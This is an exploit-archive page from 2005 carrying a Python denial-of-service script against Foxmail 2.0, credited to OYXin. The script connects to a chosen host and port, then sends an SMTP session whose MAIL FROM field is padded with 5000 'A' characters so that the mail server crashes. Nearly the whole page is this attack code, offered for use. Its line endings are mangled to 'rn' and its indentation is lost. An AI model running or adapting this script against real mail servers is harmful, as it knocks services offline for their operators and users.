[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Foxmail 2.0 (MAIL FROM:) Denial of Service Exploit
# Published : 2005-02-07
# Author : OYXin
# Previous Title : Mac OS X AppleFileServer Remote Denial of Service Exploit
# Next Title : ngIRCd <= 0.8.1 Remote Denial of Service Exploit (2)
#!/usr/bin/python
#Code by OYXin
#oyxin_at_segfault.cn
import socket
import sys
import getopt
def usage():
print "Usage: foxserver.py -h host -p port"
sys.exit(0)
if __name__ == '__main__':
try:
opts, args = getopt.getopt(sys.argv[1:], "h:p:")
except getopt.GetoptError, msg:
print msg
usage()
for o,a in opts:
if o in ["-h"]:
host = a
if o in ["-p"]:
port = int(a)
evilbuf = "MAIL-FROM: <" + "A"*5000 + ">" + "rn"
evilbuf += "RCPT-TO: postmaster@company.mailDATA" + "rn"
evilbuf += "Message-ID: 123" + "rn"
evilbuf += "ASDF" + "rn"
evilbuf += "." + "rn"
evilbuf += "QUIT" + "rn"
try:
sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockfd.connect((host, port))
recvbuf = sockfd.recv(1024)
print `recvbuf`
sockfd.send("HELO localhostrn")
recvbuf = sockfd.recv(1024)
print `recvbuf`
sockfd.send(evilbuf)
except socket.error, msg:
print msg
sockfd.close()
# www.Syue.com [2005-02-07]